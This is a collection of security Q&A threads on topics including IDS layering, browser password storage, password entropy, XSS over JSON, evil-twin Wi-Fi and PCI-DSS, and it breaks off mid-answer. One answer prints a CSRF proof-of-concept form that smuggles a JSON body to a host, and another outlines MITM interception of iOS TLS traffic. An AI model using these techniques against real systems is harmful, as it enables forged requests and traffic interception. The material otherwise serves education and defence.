If all of them are detecting the attack, why are needed all of them on an infrastructure?

You are correct to think that these three technologies are complementary and will often detect the same issues.  However, that in itself is no reason not to use them in layers.  One may catch things the other may not.  Look at virus scanners - here's an example where only 14% of the 37 scanners attempted found the virus!  And that's with the same exact type of protection!

The products you've listed have more variation than comparing virus scanners, and in fact have significant architectural differences.  A HIDS will often see things that sailed right past the NIDS because of SSL encryption.  A WAF will often have specific signatures for a web application that the NIDS and HIDS won't have. The NIDS will detect network layer attacks that the WAF and HIDS would never notice.

In short, complementary does not mean equal.


If I use a good Master Password in Firefox, is security improved when I Remember Passwords instead of re-type? In the old days I would emphasize that people should not select the remember passwords option because (besides the fact you tend to forget what the browser remembers) a bad guy could display the password (if he knew how) and read it there, and then use it later.

These days the passwords can be encrypted using a master password, so the primary problem is gone.

So should I use the feature?

On the good side, it helps prevent phishing because it checks the domain name automatically.

Also, am I just imagining, or does it also make the attacker's job more difficult? (simple key-loggers are insufficient unless the Firefox data files are fetched as well)

Then on the bad side, if someone walked up to your computer just after you logged in to a gaming site, then they could probably pull up your banking password as your master password would still be in memory, would it not?

Either way, more in-depth attacks are equally capable of obtaining data regardless of which route you took?

Can you provide some guidance on how to decide whether to use the option, from a security standpoint?

You have been very thorough in considering downsides and benefits.

Using master password in Firefox or other browser is usually acceptable compromise. Nevertheless, there is no care free approach for dealing with passwords. (Convenience vs. security.)

Earlier question How secure are my passwords in the hands of Firefox using a Master Password? gives some guidance it says: most likely secure, but I would not use.

My advice is opposite: if you cannot remember a lot of hard to remember passwords or passphrases, using browser to remember (and in some cases generate) your passwords can be a good compromise.

As far as banking goes: many banks use two factor authentication (such as ID, password + number from single use password list). I don't use banks/brokers/etc. which allow using them with just ID+password, as such authentication info get leaked too easily.

Anyway, if there are high security passwords, I would memorize them in my head.

Key logger

In case of key logger, master password does not fully protect against them, because key logger will then record master pass.

Passwords in your head

If you can remember unique password for each site you use, each password having very large amount of entropy, it is better than remembered passwords (except against key logger).

However, in practice, there is so many site passwords that it is almost impossible to pick very good passwords for each one of them.

Using key store

Key store allows you to use master password to store a lot of passwords. Instead of many good passwords, you need only one good password. This password is supposedly easier to remember as it is often needed. Because of less passwords to remember people afford to use more complex password as master password.

Synchronized passwords

Some applications like Firefox (and Safari and so on) allow you to synchronize your passwords between your devices. Such service is very convenient.
Because the synchronization often goes through quite a few servers, all those who can see the traffic may try recovering your passwords. At least the parties who are able to break your master pass most likely get access to all your passwords.


Privilege Escalation Ubuntu I am trying to learn how an attacker can escalate privileges in Ubuntu 10.04.  I have heard that this can be done but no one has ever said how to do it.  The best defense is knowing how it is done and doing it yourself.  So to find out, I set up a computer running Ubuntu 10.04, linux kernel 2.36 I am having an awfully hard time doing this when the the shell being used is not root.  I was wondering if anyone had a way of doing this because for a 2 weeks I have not been able to figure it out.  Again, I am not breaking into a production system, just an extra machine that I have.  If anyone could help me learn this, I would appreciate it.
Thanks!

There is a training ground just for your purpose:

Nebula 2 is a complete linux distribution (virtual machine) for learning purposes to perform many Privilege Escalation vulnerabilities.

Nebula takes the participant through a variety of common (and less than common)
weaknesses and vulnerabilities in Linux. It takes a look at

 •SUID files
 •Permissions
 •Race conditions
 •Shell meta-variables
 •$PATH weaknesses
 •Scripting language weaknesses
 •Binary compilation failures

At the end of Nebula, the user will have a reasonably thorough understanding
of local attacks against Linux systems, and a cursory look at some of the remote
attacks that are possible.

The fine guys there developed a course system using lessons, each lesson is accessible with a different username and password and each level is directed at a different attack vector.

You can reach further and grab Protostar (basic memory corruption) and Fusion (advanced memory corruption) training virtual-machines @ http://exploit-exercises.com/


Use of obscure URL for security My hosting provider is offering an infrastructure-as-a-service (IaaS) product administered via a web interface, where the administrator can create and destroy virtual machines.

To access the web-based administration portal, I need to log in to the hosting provider's "service desk" (username & password over HTTPS), and then click on a generated link to access the IaaS administration portal (also HTTPS).

The link itself is most likely unguessable (it includes what looks like an md5 hash and 2 GUIDs), but anyone with access to that URL will have unrestricted access to the IaaS portal for several hours (the link seems to expire after that time).

I have tested that access via the link is not restricted to my specific IP address.

In short, anyone with the link could delete all of the VMs and my client's data, provided they get access to it within a couple of hours of it being generated.

Is this inadequate security for something like an IaaS portal (my gut feeling says no)? What specific concerns can I raise with the hosting provider?

Edit:
I know that this question is similar to Is including a secret GUID in an URL Security Through Obscurity?, but that question relates to low-level HTTP clients, not browsers, which introduce additional concerns, like URL leaking, browser history, caching, etc.

The problem with secret URLs is that they can be leaked in a variety of ways.

Images, Javascript, Stylesheets, and fonts can leak the URL of the webpage you are visiting. For example, if your secret page includes something like <img src="http://example.com" /> then when your browser grabs the image it may include the URL to the secret page in the Referer header. There are some use cases (https to http traffic, or browser overrides) that will prevent the browser from sending the header, but generally, this is a common way for your secret URL to be leaked.

While you can watch your own network traffic (use the "network profile" feature in Chrome or Firefox) when loading the page to see whether the URL is leaked, the main concern is that any change in the page could introduce a leak.

Two high profile cases of leaked secret URLs include Google Docs and Dropbox.

Is this inadequate security for something like an IaaS portal?

As I mentioned above, you could use the network profile feature of your browser to test whether the page is leaking the URL. However, the biggest concern is the fragility of this system. Unlike something like a password, the user has no control over the web page implementation, and accidentally including an external resource in a style sheet is far too easy. This isn't to say the system is insecure, just that it is a bit fragile.

If I were using the IaaS portal, I would ask that they include an additional access control mechanism beyond a URL that is easily leaked.


How was the concept of password entropy developed? I understand how to calculate password entropy and what the Length and Character values represent. I also have a reasonable understanding of other types of entropy (e.g. Shannon). However, password entropy seems to be considerably different (in form) than other types of entropy; a simple log₂(D) where D is a difficulty or complexity metric. I'd like to understand how the concept of password entropy was developed to understand other applications of this entropy form.

Does password entropy satisfy the requirements of other types of entropy: additive, linear, etc. For a stupidly simple example, if my system requires two passwords, can I just add the entropy of each password?

EDIT: I've clearly not phrased this question very well. My apologies. Let me try again from a more cyber security perspective: We can define the size of the information H₀(A) in a set A as the number of bits that is necessary to encode each element of A separately, i.e. H₀(A) = log₂|A|. Now let A be the information needed to defeat a protection system on device.  For a password, the size set A (and hence the size of the information H₀(A) ) can quantified in a straightforward manner, NL. I'm trying to get some insight into situations where the size of A is not so easily quantifiable, but I have some metric that captures the set of information, say 'B'. What are the arguments against using H₀(B) = log₂(B) to quantify the size of information needed to defeat the protection system?  Again, my apologies for a poorly worded question.

Entropy in physics and in information science is just the logarithm (typically natural log in physics; base-2 log in computer science) of the number of equally likely possibilities, because it's generally easier to deal and think about with the logarithm of these exceptionally large number of possibilities than the possibilities directly.

If I randomly generated 128-bit as my random AES-128 key (that I store somewhere), it's easy to see there are 2128 = 340,282,366,920,938,463,463,374,607,431,768,211,456 possible keys I could have used (2 equally-likely choices for each bit; and probabilities multiply).  When talking about informational complexity, it's just simpler to talk about the key having 128-bits of entropy than saying about 340 x 1036 or 340 undecillion (short scale), especially if you want to compare it against say a 256-bit key with 2256=115,792,089,237,316,195,423,570,985,008,687,907,853,269,984,665,640,564,039,457,584,007,913,129,639,936 possibilities.

Now if I hand you a random user's password, technically it's not possible to uniquely assign an entropy to it.

You can only assign an entropy to a model of generating passwords.  So if you are asked to estimate an entropy for a password, your task is to assume the model that might have generated that password.

If I gave you a password like P[rmDrds,r you might assume I randomly chose 10 characters from a set of 95 printable ASCII characters and to brute-force you would have to go through 9510 ~ 265.7 possibilities and it would have an entropy of 65.7 bits.  However, it's just a very weak password OpenSesame where I shifted my hands on the keyboard over to the right one letter (which is probably one of say 2^6 ~ 64 common ways to alter typing an easy to remember low-entropy password).  If you could find OpenSesame on a list of say the 1,000 (1000 ~ 210) most common passwords then in fact the entropy of P[rmDrds,r is closer to 16-bits (possibilities of 210 x 26), when the password generation is pick one of 64 common ways to obscure a password and then choose a password off a list of 1000 common passwords.  Thus after about 64,000 attempts a sophisticated brute forcer who tried this avenue of attack could arrive at P[rmDrds,r, so it's more accurate to estimate it's entropy as about 16 bits than 65.7 bits, which is 265.7-16 ~ 249.7 ~ 914 trillion times times easier to brute-force than the 65.7 bit password.

Now, obviously some less-sophisticated brute force attacker might have ignored the possibility of shifting characters over on the keyboard one space to the left while going through common password lists. But to be safe you ignore dumb attackers and assume very sophisticated attacker has considered all of your methods of password generation (Kerckhoffs's principle says avoid security by obscurity; assume the enemy has considered your secret technique among many other methods).  So when someone says you need a high-entropy password, your goal isn't a password that appears to be highly random (and some simple password tester labels it as high-entropy).  You want a random password that was built off of lots of random choices being input into your password generation procedure.  You should not pick meaningful words to you and make up a password for it with obscure tricks like shifting letters around or leetspeak substitutions.  For a strong password, you should rely on 80+ bits of non-human randomness being input into your procedure.  You should note that one bit of entropy in a password generation procedure is equivalent to a two-option decision (e.g., something that could be determined by a coin flip).

And again, with very small likelihood you can randomly generate a password with a lot of random choices and it ends up a very weak password; e.g., it's technically possible that you randomly choose 12 characters and get password1234 or dddddddddddd.  In practice, that's a possibility though it's unlikely to happen (e.g., if you use a procedure that generates an 90-bit password, the chance that it generated a password that also could have been generated with a simpler procedure with only 34-bits is 234/290 = 1 in 256 which is roughly the odds of buying exactly two Mega Millions tickets in a row and winning the jackpot both times).


Receiving lots of spam after registering a new domain on GoDaddy A couple of days ago I have registered a new domain on GoDaddy without WHOIS privacy option. The next day after registration I have started receiving spam in my mailbox as well as on my phone. The domain is dormant in the sense that it is not used in any way at the moment i.e. it has no valid NS, it doesn't host any website and most importantly I haven't publically disclosed registration. The only five people who are aware of this domain are three people whom I know in person and two GoDaddy technical assistance reps (I needed help updating WHOIS contact information).

I have two questions:

How did spammers learn about my domain registration so fast?
Does it make any sense at this point to pay retrospectively for WHOIS privacy?

PS. The reason that I haven't bought WHOIS privacy in the first place is that I haven't encountered this bizarre issue previously (I have registered a few domains with GoDaddy previously).

Anybody can see new domain registrations, at least in mainstream extensions like .com/.net/.org. This is public information and you could even compile this data for yourself using zone files.
You can even apply for zone access straight from the registries. Example: Verisign TLD Zone File Access Program. Note that the rules vary from one extension to another. For instance most country code extensions (eg. .ca .fr etc) will not release their zone files or severely restrict access, but some however do publish lists of new or deleted domains on their websites.

The modus operandis of spammers is this:

they obtain the list of new domains on a daily basis (from zone files, public lists, or otherwise)
they scrape the whois record for each new domain
they start spamming

There are plenty of legitimate reasons why people (including myself) use zone files, for example for research purposes, trademark enforcement or if you are running a search engine and need to discover new contents etc.
Of course the downside is that registrants are left open to spamming and unwanted exposure of their acquisitions (many people probably do not realize data mining is going on and the data is going to be archived somewhere). You can now expect to receive dozens of spam in the next few days for SEO services or web development services from India or USA (allegedly).

TL;DR: The registrar is not to blame here. Your experience is very typical and unfortunately normal.
It is a good idea to use a dedicated E-mail address for the whois record and possibly list a virtual phone number and a P.O. box in case somebody needs to contact you. As per Icann rules, you must maintain accurate and truthful whois data but you can avoid exposing yourself whilst remaining reachable.
I would not recommend using third party whois privacy service for reasons that are too many to explain and beyond the scope of your question.


Security of re-encryption with a list of pre-computed password based keys I have a problem where an encrypted file stored on a server needs to be decrypted through a precomputed list of passwords that are used one time only - OTP applied to encryption basically. The file is in a secure state while active and decrypted, it cannot be modified or publicly seen. While it is at rest, it is publicly viewable and modifiable, so I can't store a list of passwords on the server, as the server is often not in a secure state, and the file needs to be transferred often in a very public manner where it will be almost definitely be seen. After discussing this with a friend, something based on Diffie-Hellman was suggested. My question is how secure it might be.

Concept
The idea is to generate a list of hashes, and store only the list of g^H_n along with the encrypted file. The file is encrypted each time by taking a hash, g^H_n, a random working value r and encrypting the file with the key (g^H_n)^r. Finally g^r is stored in the file publicly. In order to decrypt, the user provides H_n which can be used to calculate (g^r)^H_n and decrypt the file. Re-encrypting is then simply doing the same thing with g^H_(n-1) taken from the list,  and a new random working value.

If at any point the file is obtained by someone publicly (such as when the file is at rest), they will only know g^r, which cannot be used to compute the key. Apart from the last hash used to encrypt, all the other hashes are encrypted along with the file, so future keys cannot be tampered with either.

Question
This seems like it would work pretty well, but I'm nervous about doing something like this without knowing how easily it could be broken, and I cannot find any existing methods for doing the same thing. I'm hoping someone could point out any major flaws in this that might've been overlooked.

If I understand your problem correctly, what you want is that, for a given file:

A file is stored on an untrusted server.
There is an ordered list of passwords which are "attached" to the file (but bit stored with the file).
When at rest, the file shall be encrypted with the first password of the list (that is, encrypted with a key that can be recomputed from the knowledge of the password).
When the password is submitted to the server, the server decrypts the file with it, does "something" with the decrypted data (e.g. returns it to the user), and reencrypts the file with the next password in the list.
The server has no permanent knowledge of the passwords themselves.

This implies that there are moments when the server "sees" the decrypted data, so the server must not be totally untrusted. I assume that we are interested in protecting the data at rest (scenario: the attacker steals a backup tape for the server, and thus has read access to the stored files, but not to the server RAM). I am not studying active attacks here; if the attacker can modify the server data, then you have bigger problems. Another important point is that what the server contains is necessarily vulnerable to dictionary attacks (knowledge of what the server knows, plus the current password, is sufficient to recover the data) so the passwords must be strong (high entropy, bcrypt...).

The characteristics above imply that the server must be able to encrypt data relatively to a password that it does not know, so this calls for asymmetric cryptography. What you suggest is functionally equivalent to storing with the file a sequence of password-protected private keys, along with their public keys: the password, when provided, unlocks the private key, which is used for the decryption, and the immediate reencryption uses the next public key in the list. Your gHn is just a private key password protection: the private key is the (hash of the) password, and the stored value is the public key.

If you want to stick to well-studied standards (which is wise !), consider OpenPGP. It includes formats for storage of public keys, password-protected private keys, and bulk data encryption. It is supported by existing libraries (e.g. GnuPG or Bouncy Castle).

A streamlined format could be defined along the lines that you thought of (possibly with elliptic curves, to reduce the size of the list of keys), but it would be a rather large endeavour with many things which can go wrong (the password hashing, the symmetric encryption, the details of Diffe-Hellman, a possible indirection to speed up the reencryption step... all add to the complexity).


Use of pwgen with sha1 to create recreatable passwords I'm looking at using Theodore T'so's pwgen (on linux/ubuntu) with its sha1 (-H) feature to generate passwords that I should be able to recreate later using the same file and seed.

I briefly looked to see what alternatives there might be if this particular app (pwgen in unix) is not available to me at any point. Is this a valid consideration? Is there an alternative application that will let me recreate the same password (given the same file and seed of course)?

Whilst this might to some extent be a unix/ubuntu app availability question, I want to hear from security folk on the pros and cons of this approach, hence this question on this forum.

It all depends on the context, which you do not specify. You want to be able to recreate the passwords for some reason; depending on that reason, inability to do it without a Linux machine at hand may or may not be a problem. In any case, the README file points at some ports to other systems, e.g. for Windows; moreover, chances are that the original "for Unix" pwgen could be compiled and executed without any change on a Windows machine with the help of cygwin. And you always have the option to run a VM (e.g. with Virtualbox), install a minimal Unix-like system in it, and run pwgen on that.

When you create passwords deterministically from a file and a seed (that's what the -H option does with pwgen), then the resulting passwords are no stronger than the file and seed are secret. Typically you would use the target server name as seed, and the file as a secret (that way, you can derive multiple passwords for many sites, from a master secret file); if you can keep a file secret, you might be able to keep a text file secret. That text file would simply contain your passwords so far, added with a text editor. This might be a simpler model, and it abstracts away all considerations about portability of a specific application to various platforms.


XSS not exploitable when POST data is sent in JSON? There is a reflected XSS flaw in an application I am testing. Initially, the payload is sent in POST request as value of a JSON key and the response is also a JSON object. The returned value in the JSON object is directly used by client side Javascript and hence the flaw. My questions is, I tried all ways given on this page to send a JSON payload through HTML form  but I failed as the server is properly validating the input. Is there any way this XSS flaw can be exploited?
Also, GET method on same URL does not work.

The article is proving that an HTML form can be used to send a JSON object via CSRF, even if the server-side is only accepting text/plain requests expecting JSON.
(instead of the typical application/x-www-form-urlencoded) requests.
I've included the linked example on this site, because we do not allow link-only content.
<html>
<form action=http://192.168.1.41:3000 method=post enctype="text/plain" >
<input name='{"a":1,"b":{"c":3}, "ignore_me":"' value='test"}'type='hidden'>
<input type=submit>
</form>
</html>

results in a request looking like

Based on your comments I now understand that you are asking about Reflected XSS attacks.

The payload is returned unchanged in a JSON response.

Is there any HTML involved?
If so, then it all depends on how it is encoded as to whether you have an XSS vulnerability.
On the other hand, if this is simply an "echo" with no added HTML, then it depends on your response headers. Content-Type: text/html should be sufficient to keep the response from being executed as code, but in some browsers, it would still be vulnerable. Content-Disposition: attachment would solve the problem assuming the filename extension and content types are safe. (i.e. txt)

if the payload can't be sent via HTML forms, does that mean XSS is not "exploitable" ?
if one can't create an HTML form (with JSON payload which is accepted by server) , then this XSS is not exploitable right ?

However, with a question like that, it sounds like you are about to 'shoot yourself in the foot' by locking into an 'easy' answer. I am worried just because I don't understand why you are asking that question.

Warning: With an HTML form it may be possible to send the required JSON payload based on the specifics of the server validation you are using.

I'll answer you anyway:
Supposing that an HTML form is insufficient (meaning you've already disproved my warning), and Query String is also not sufficient (true in your case); then Reflective XSS attacks would not be possible.

The attacker would be left only with AJAX as a possibility, as well as various plugins that might be able to initiate CSRF. Stored XSS might still be possible in that situation, if your server has more advanced features beyond "echo" of the request.

Additional info:
There are three avenues that come to mind for XSS. Only items 2 and 3 require 'payload of your choice' to be uploaded via CSRF.
Items 1 and 2 apply to a Stored XSS attack which involves inserting code into one of the text fields of the server's database, such that when the server shows the results later it might be executed in the Browser due to missing/improper encoding (XSS vulnerability) by the server.

If you have appropriate credentials, or it is a public facing site (i.e. Stack Exchange comments), then anyone (even the attacker) can insert the code directly.
Then if the system were vulnerable (incorrect/missing encoding) then future visitors viewing the submitted content would be victims of the attack.

If this was a closed system, such that the attacker would not have the appropriate login credentials for the submitted data to be accepted into a database, then the attacker would have to use a CSRF to take advantage of another user's credentials (assuming the user is already logged in to the target system when visiting the attacker's site)

For Reflective XSS, you would need #2 CSRF for this. In this case the data need not be stored, but you are taking advantage of a situation where input data is returned back to the user.

i.e. a Preview page,
or a refreshed form with values pre-filled
an error page that includes user content (i.e. X is an invalid email address)

Stored XSS may be preferable for the attacker to reach a broader audience. There is the possibility also that a given system is not vulnerable to Stored XSS, but still may be vulnerable to Reflective XSS.


Why are there questions about "media" in a PCI-DSS SAQ A? The PCI-DSS SAQ A is used in the case where all payments are outsourced to an external vendor (conditions apply).

Despite that, section 9 of the questionnaire is about "media" (if they are physically secured, if their move follows policies, etc.).

What specific media are they talking about? All payment operations are outsourced so why asking about "media"? (I am asking not about the nature of the media (it has to be paper per requirements) but the possible content)

Any entity should also protect paper documents that contain cardholder
  data in accordance with PCI DSS requirements 9.6 through 9.10. For
  example, requirement 9.6 states "Physically secure all paper and
  electronic media (including computers, electronic media, networking
  and communications hardware, telecommunication lines, paper receipts,
  paper reports, and faxes) that contain cardholder data."

What is cardholder data?

  Cardholder data (CD) is any personally identifiable information (PII)
  associated with a person who has a credit or debit card

So what is PII?

  Personally identifiable information (PII) is any data that could
  potentially identify a specific individual. Any information that can
  be used to distinguish one person from another and can be used for
  de-anonymizing anonymous data can be considered PII.

Consider receiving receipts with client information on it like addresses, names or other PII. That's the content they are targetting.


Why hasn't the one-click attack taken over the world? This is a follow-up question related to Is single-click phishing possible?.

If such a convenient attack is possible, I assume everyone on the internet should already be hacked. Why hasn't that happened?

You don't describe the attacks you envision in detail but regarding classical drive-by-downloads:

Browsers like Chrome and Firefox get automatically updated since a long time, i.e. they don't rely on the user to update the browser anymore. Also, browsers got better sandboxes in the last years so that the impact of an attack got less severe.
Same is with OS like Windows which also more and more enforce updates.
To attack lots of users the attacker needs to make users visit a site spreading these attacks. Modern browsers have builtin blacklists so that once such attack gets found the site spreading the attack and maybe similar sites gets blacklisted and the user cannot visit these sites anymore and thus cannot get attacked.
Major attack vectors like Flash and Java got closed, either by disabling the relevant plugins forever or at least for most sites.

In other words: there are less vulnerabilities now, they are harder to exploit than in the past and it is harder for an attacker to infect lots of users without being detected and quickly blacklisted. These things together make drive-by-download attacks much harder to do and much more costly for an attacker. The attackers therefore move to different ways to attack users: while attacks via web went down in the last years attacks via mail actually increased.

Also, even in the past where drive-by-downloads using Flash, Java or ActiveX where kind of easy, the sites spreading drive-by-downloads where quickly blacklisted by the browsers and by antivirus products or the sites were taken down. Thus these attacks were never as omnipresent as necessary to hack almost everybody.


How should hospitals handle the use of sharing credentials to access sensitive information, especially in critical situations? Most organizations today hold individuals accountable for their actions on systems and networks by unique user IDs and passwords. However, imagine working in a hospital environment where access to sensitive information is done frequently by many individuals and also used in emergency/extraordinary circumstances. For users that share credentials, how does one enforce accountability while also being able to retrieve patient information without having to log on and off, especially in critical scenarios?

The ER model:

Everybody gets a proximity card (preferably the active kind that can't be passively copied).
The nurses' desk has a number of active but unissued cards in envelopes.
Authentication is single factor; a valid card is valid access.
Sessions log-off from inactivity or manual action. Card logons should be fast enough that nobody feels bothered.

Security comes from control of cards. A nursing manager can be in charge of associating a card with a new cardholder and deactivating their old or broken card. Availability comes from the fact that any employee can quickly get a new card. Accountability comes from ensuring that cards are quickly associated with employees.

See also: http://healthcareit.stackexchange.com/q/254/37


Should you use VPN if the website uses HTTPS? If I visit the website which uses https, is there a point using an VPN? In places like coffee shop where internet is not secure. Because I think https already encrypts data?

Some VPNs actually establish their connection via SSL.  SSL really is a sort of VPN between you and the server, so as long as you don't mind people knowing that you are talking to that server and you don't mind the site knowing your IP, then you are fine to just access it directly.

If you want to avoid letting anyone know what system you are talking to or you want to have a VPN act as a proxy to protect your identity (from the site you are visiting) then you would still need a VPN.


How would you detect an Evil Twin attack, especially in a new environment? Let's say you are traveling, and you pause in the airport lounge, or your hotel lobby, or a nearby coffee shop. You haul out your laptop and scan the available wireless networks. You know the name of the wireless network because it is written behind the counter/on a slip of paper/well known.

You see that there are two options:

"Free Public Wifi"  & "Free Public Wifi"

Which one is the actual wireless network, and which one is the Evil Twin attack? How can you tell? What tools or techniques would you use to decide?

(I'm less interested in answers that involve not connecting to either, or avoiding public wireless, and more interested in the techniques to discriminate legitimate vs non-legitimate APs from a users and not administrators perspective. I'm using "Evil Twin" in this specific sense rather than a general "malicious actor" sense.)

They're both evil. You shouldn't be connecting to any "Free Public Wifi" without assuming that all your unencrypted traffic will be monitored and modified. The best solution is to not connect to public networks at all, but if that's not an option for you then you can protect yourself a little more by specifying your own DNS (rather than letting the router pick for you), using https everywhere you can, not accessing your sensitive accounts on public networks, considering a VPN, and keeping your software and firmware up to date.

In direct answer to your question, some routers have their MAC address printed on a label; you could ask the router owner to check for you, then connect to it, ping it, and view your arp table (arp -a) to see if it matches. Alternatively, you could tell the router owner that there's an imposter nearby and have them change the network name.


How can I visit a website without the website admin being alerted that someone has visited? Is there any way to visit a website without leaving a trace that I have visited at all?

Please note that this question does not ask how to be anonymous but to avoid alerting the website admin that someone (i.e. anyone) has visited in the first place.

If I was to enter the website's address (e.g. www.XYZ.com) into Google say, by entering it directly into the adddress bar (e.g. via www.google.com/#q=www.XYZ.com) and then viewed the cached version of the website then am I correct in thinking that Google would not provide any analytics data that I had searched for the website's address to the website admin if they subscribed to such a service?

I know that strictly speaking I would not be visiting the up to date version of the website in any case but any visit to the website directly could obviously alert the admin and even if the website was not up and running I understand that domain registrant services allow the domain owner to be alerted when someone tries to vist the domain's address.

First of all: There is no way to access a website without the website (and the admin) knowing it. This is not possible since you connect to it to retrieve data. If the website e.g. would broadcast or somebody else on your network (not using https) you could simply sniff the wanted traffic. But that is ofc. not the same thing, since a website can behave differently every time someone accesses it!

You can obviously hide in e.g. TOR network to stay anonymous and retrieve the latest content or ask somebody else to retrieve the website's content for you (e.g. Google's Cache or archive.org's Wayback Machine) and get fairly old content.


How to intercepting iOS HTTPS traffic How can I intercept & parse through the SSL traffic (incoming & outgoing) generated by my iPad application?

Create a CA, import the CA certificate in your iPhone's certificate store and then use an intercepting proxy that MITM's the TLS traffic and re-encrypts it using that CA cert.

This will work with apps that use the system's TLS functions, but not with those implementing their own TLS with OpenSSL (as they won't be using the system's cert store) nor those who do certificate pinning (you'd have to jailbreak to bypass that).


What extra protection is added to an REST API over HTTPS by the use of some kind of HMAC? I'm designing a RESTFUL API that will always be used over HTTPS, what security advantages over the use of HTTP Basic Auth could be brought to my system by using such kind of message authentication codes?

Example of HMAC could be this one of AWS.

HTTPS is HTTP-within-SSL and SSL already enforces integrity checks -- indeed, it does so with HMAC (see section 6.2.3).

Using Basic authentication is safe within SSL, and sufficient. You don't need an extra HMAC. The method shown by AWS is meant to provide some sort of authentication in situations where data travels unprotected, in order to prevent the client credentials from travelling as cleartext, because an eavesdropper could otherwise learn them; SSL provides both confidentiality and integrity, making this point moot.


Entropy on native memorable password on macosX keychain I have been trying to find information on this. But I haven't found anything online.

When you use the password manager on mac, it can provide "memorable" passwords.

For example pick3"enigma. (You choose the number of characters)

I haven't found any information in what is the dictionary being used, what options of extra characters and numbers are used, and how are they all fixed to get the amount of characters you suggest... Therefore, I am unable to determine the total entropy of such passwords.

Is there anywhere where I could find the range of words it can use, and the possibilities, to understand what is the total entropy provided by these passwords?

Or a source that provides some reliable information of what is the entropy of a "memorable password" created by the keychain

Anders Bergh reverse-engineered the OS X Password Assistant and wrote a command-line utility which does the same job. From its source you can find out that all of the password generation is done by a proprietary undocumented library function SFPWAPasswordSuggest() from the SecurityFoundation framework.

Though the function is proprietary and no official Apple documentation exists, you can play with either the function itself or the command-line utility around it to figure out what it's producing. Allister Banks already did that in 2015, assumingly for OS X Yosemite, and came up with a code snippet which produces pretty much the same results (except for a few strange author's preferences, like limiting the range of available random numbers).

In a nutshell, SFPWAPasswordSuggest() picks two random words from a vocabulary and inserts a random number and one special character (in that order) between them. The random number length is such that the overall string length will be exactly as required, and there will always be a single special character. Regarding the vocabulary, OS X from Yosemite to High Sierra use /System/Library/Frameworks/SecurityInterface.framework/Resources/pwa_dict_en.gz, 287 kb in size and with 83935 English words of length between 2 and 24, for that:

$ gzcat pwa_dict_en.gz | python2 -c 'import sys
> sys.stdin.read(512)
> word_counts = dict()
> for num_of_letters_index in range(64):
>     value = int(sys.stdin.read(8).strip(), 16)
>     if value:
>         word_counts[num_of_letters_index] = value
> print "Distribution:", word_counts'
Distribution: {1: 26, 2: 191, 3: 1229, 4: 3170, 5: 5591, 6: 8913, 7: 12452, 8: 13462, 9: 12163, 10: 9820, 11: 7007, 12: 4516, 13: 2704, 14: 1429, 15: 691, 16: 329, 17: 150, 18: 61, 19: 21, 20: 5, 21: 3, 22: 1, 24: 1}
$

Here's how you can parse the file. In other OS X versions, the function may be designed somewhat differently; use dtruss ./sf-pwgen to figure out.

Note that GUI limits the length of your generated password with number 31. As far as I can see, the function doesn't produce an error for longer requests, yet is not guaranteed to work for passwords longer than 31 characters. Actually, for passwords above 67 characters, it's almost guaranteed to fail; as you can spot above the vocabulary doesn't feature enough words of sufficient length, and the generating algorithm doesn't handle this case well, simply returning a short passphrase consisting of only numbers and a special character:

$ ./sf-pwgen -c 1 -l 68
2814154076!
$

EDIT 24.01.2018: on behalf of Alex Recuenco:

Calculating entropy

Following @ximaera solution.

import math

x = {1: 26, 2: 191, 3: 1229, 4: 3170, 5: 5591, 6: 8913, 7: 12452, 8: 13462, 9: 12163, 10: 9820, 11: 7007, 12: 4516, 13: 2704, 14: 1429, 15: 691, 16: 329, 17: 150, 18: 61, 19: 21, 20: 5, 21: 3, 22: 1, 24: 1}

def entropy(pass_length, n_symbols = 30):
    combinations = 0
    for key, value in x.items():
        for key2, value2 in x.items():
            if (key + key2) < (pass_length - 1):
                combinations += value * value2 * n_symbols * (10 ** (pass_length - key - key2 - 1))
                # last value

    return {'combinations': combinations, 'entropy': math.log2(combinations)}

print(entropy(31))

Which when you run it:

> {'combinations': 1124445877165765109161692550890600, 'entropy': 109.79284135298234}

110 bits of entropy, maximum... I thought it would be better for some reason. The entropy of a password of just numeric characters of length 30 is approximately 100


SSL Certificates in PCI DSS compliance I have come across the PCI DSS compliance which expects SSL certificates to comply with certain standards. I have come across this link which highlights :

The latest PCI DSS 3.2 requires migration from early SSL/TLS version 1.0 to a secure version v1.1 or higher.
Strong Private Key For RSA: 2048-bit+, For EC: 256-bit+
Check the validity of the certificate (expiry)

Is there anything else to do to satisfy the PCI compliance regarding SSL or am I missing out anything?

There's a lot to the PCI Standards that you'll have to get by reading the most recent standards. Read these standards in conjunction with the glossary, where it will explain things like what they consider "strong cryptography." For instance, PCI defines strong cryptography as:

  AES (128 bits and higher), TDES/TDEA (triple-length keys), RSA (2048 bits and higher), ECC (224 bits and higher), and DSA/D-H (2048/224 bits and higher).

To clarify something from #1 in your question, PCI is requiring migration from SSL (any version) and early TLS (version 1.0). The terminology PCI uses is "SSL/early TLS." More about the migration can be found in PCI's information supplement, Migrating from SSL and Early TLS, or in Appendix A2 of the current standards linked above.


Generate subkeys based on less secure OpenPGP primary key I've been reading about the benefits of using OpenPGP subkeys for different machines. Obviously, it's a much safer practice than copying around the same master key between multiple machines (especially laptops).

I'm planning to migrate to the "one subkey per machine" way of managing OpenPGP keys as described here: https://wiki.debian.org/Subkeys

The instructions are pretty clear if you're setting up OpenPGP signing from scratch. However, I've been using a rsa2048 key (DB746BD8) for several years, and ideally I would like to keep the trust and the identity associated with it. Are there any (recent) best-practice guides out there that explain a situation like this? For example, does it make sense (i.e. does it add security) to generate 4096-bit subkeys using a rsa2048 master key? Would it be better to generate a new rsa4096 primary key? Or something completely different?

EDIT

Some additional information about my particular key/situation:

The key was used primarily for Git commit signing - I do not think it was ever used for encryption, nor uploaded to a keyserver.
The only time it was "published" was when it was uploaded to the GitHub website, as described here.
The key has not been certified/signed by anyone.

My goal is to figure out the PGP/GPG setup for the medium to long-term, and so far the plan looks like this:

Decide on the primary key to use

Keep the existing rsa2048 primary key DB746BD8
Generate a new primary key (e.g. rsa4096, ecdsa)

Generate and distribute new subkeys
Upload key to keyservers
Potentially use it for encryption, to sign other people's keys etc.

The main question is whether I should go with 1.1. or 1.2. - especially considering that after following 2. 3. and 4., it might become more difficult to later on switch to a new key (?).

You must distinguish between security of your whole OpenPGP key (depends on your primary key) and security of encrypted/signed message (depends primarily on the subkey, but see below).

Primary Key

